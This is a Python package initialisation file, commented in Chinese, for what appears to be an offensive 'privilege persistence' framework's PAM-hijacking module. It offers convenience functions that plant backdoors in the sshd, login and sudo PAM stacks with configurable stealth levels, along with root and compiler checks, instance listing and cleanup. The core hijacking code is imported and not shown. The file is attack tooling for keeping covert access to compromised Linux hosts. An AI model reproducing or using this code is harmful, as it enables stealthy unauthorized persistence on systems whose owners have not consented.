#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PAM模块劫持权限维持子模块
实现基于PAM模块劫持的权限维持技术
"""

from .core import PAMPersistenceModule
from ..base import PersistenceConfig, PersistenceResult, PersistenceStatus, PersistenceLevel

# 模块信息
__version__ = "1.0.0"
__author__ = "privilege-maDev Team"
__description__ = "PAM模块劫持权限维持模块"

# 导出的类和函数
__all__ = [
    'PAMPersistenceModule',
    'create_module',
    'get_module_info',
    'is_available',
    'quick_deploy',
    'list_instances',
    'cleanup_all',
    'test_module'
]


def create_module():
    """创建PAM权限维持模块实例"""
    return PAMPersistenceModule()


def get_module_info():
    """获取模块信息"""
    return {
        'name': 'pam',
        'version': __version__,
        'author': __author__,
        'description': __description__,
        'supported_platforms': ['linux'],
        'persistence_types': ['pam_hijack'],
        'stealth_levels': list(range(1, 11)),
        'requires_root': True,
        'requires_compilation': True,
        'dependencies': ['gcc', 'libpam-dev']
    }


def is_available():
    """检查模块是否可用"""
    try:
        import subprocess
        import os
        
        # 检查平台
        if os.name != 'posix':
            return False, "需要Linux平台"
        
        # 检查root权限
        if os.geteuid() != 0:
            return False, "需要root权限"
        
        # 检查gcc编译器
        try:
            subprocess.run(['gcc', '--version'], capture_output=True, check=True)
        except (subprocess.CalledProcessError, FileNotFoundError):
            return False, "需要安装gcc编译器"
        
        # 检查PAM开发库
        pam_paths = [
            '/usr/include/security/pam_modules.h',
            '/usr/include/pam/pam_modules.h'
        ]
        
        if not any(os.path.exists(path) for path in pam_paths):
            return False, "需要安装PAM开发库 (libpam-dev)"
        
        return True, "模块可用"
        
    except Exception as e:
        return False, f"检查失败: {str(e)}"


def quick_deploy(payload, stealth_level=7, target_service=None):
    """快速部署PAM权限维持
    
    Args:
        payload: 要执行的payload
        stealth_level: 隐蔽级别 (1-10)
        target_service: 目标PAM服务 (可选)
    
    Returns:
        PersistenceResult: 部署结果
    """
    try:
        module = create_module()
        
        config = PersistenceConfig(
            payload=payload,
            stealth_level=stealth_level
        )
        
        # 如果指定了目标服务，添加到配置中
        if target_service:
            config.target_service = target_service
        
        return module.deploy(config)
        
    except Exception as e:
        return PersistenceResult(
            success=False,
            message=f"快速部署失败: {str(e)}",
            instance_id=None
        )


def list_instances():
    """列出所有PAM权限维持实例"""
    try:
        module = create_module()
        return module.list_instances()
    except Exception as e:
        return []


def cleanup_all():
    """清理所有PAM权限维持实例"""
    try:
        module = create_module()
        results = []
        
        for instance in module.list_instances():
            result = module.clean(instance['instance_id'])
            results.append({
                'instance_id': instance['instance_id'],
                'module_name': instance.get('module_name'),
                'cleanup_result': result
            })
        
        return results
        
    except Exception as e:
        return [{'error': f"清理失败: {str(e)}"}]


def test_module():
    """测试模块功能"""
    results = {
        'module_info': get_module_info(),
        'availability': is_available(),
        'tests': []
    }
    
    try:
        module = create_module()
        
        # 测试1: 模块初始化
        results['tests'].append({
            'name': 'module_initialization',
            'success': True,
            'message': '模块初始化成功'
        })
        
        # 测试2: 平台支持检查
        platform_supported = module.is_platform_supported()
        results['tests'].append({
            'name': 'platform_support',
            'success': platform_supported,
            'message': '平台支持检查' + ('通过' if platform_supported else '失败')
        })
        
        # 测试3: 配置验证
        test_config = PersistenceConfig(
            payload="echo 'test'",
            stealth_level=5
        )
        
        validation_result = module.validate_config(test_config)
        results['tests'].append({
            'name': 'config_validation',
            'success': validation_result.success,
            'message': validation_result.message
        })
        
        # 测试4: PAM路径检查
        pam_path = module._select_pam_module_path()
        results['tests'].append({
            'name': 'pam_path_check',
            'success': pam_path is not None,
            'message': f'PAM路径: {pam_path}' if pam_path else 'PAM路径不可用'
        })
        
        # 测试5: 权限检查
        has_root = module._check_root_privileges()
        results['tests'].append({
            'name': 'root_privileges',
            'success': has_root,
            'message': 'Root权限' + ('可用' if has_root else '不可用')
        })
        
    except Exception as e:
        results['tests'].append({
            'name': 'test_error',
            'success': False,
            'message': f'测试过程出错: {str(e)}'
        })
    
    return results


# 便捷函数
def deploy_ssh_backdoor(payload, stealth_level=8):
    """部署SSH服务PAM后门"""
    return quick_deploy(payload, stealth_level, 'sshd')


def deploy_login_backdoor(payload, stealth_level=7):
    """部署登录服务PAM后门"""
    return quick_deploy(payload, stealth_level, 'login')


def deploy_sudo_backdoor(payload, stealth_level=9):
    """部署sudo服务PAM后门"""
    return quick_deploy(payload, stealth_level, 'sudo')


# 模块自检
if __name__ == "__main__":
    print("=== PAM权限维持模块自检 ===")
    
    # 获取模块信息
    info = get_module_info()
    print(f"模块名称: {info['name']}")
    print(f"版本: {info['version']}")
    print(f"描述: {info['description']}")
    print(f"支持平台: {', '.join(info['supported_platforms'])}")
    
    # 检查可用性
    available, message = is_available()
    print(f"模块可用性: {'可用' if available else '不可用'}")
    print(f"检查结果: {message}")
    
    # 运行测试
    print("\n=== 运行模块测试 ===")
    test_results = test_module()
    
    for test in test_results['tests']:
        status = "✓" if test['success'] else "✗"
        print(f"{status} {test['name']}: {test['message']}")
    
    # 列出现有实例
    print("\n=== 现有实例 ===")
    instances = list_instances()
    if instances:
        for instance in instances:
            print(f"- {instance['instance_id']}: {instance.get('module_name')} "
                  f"({instance.get('status')})")
    else:
        print("无现有实例")
    
    print("\n=== 自检完成 ===")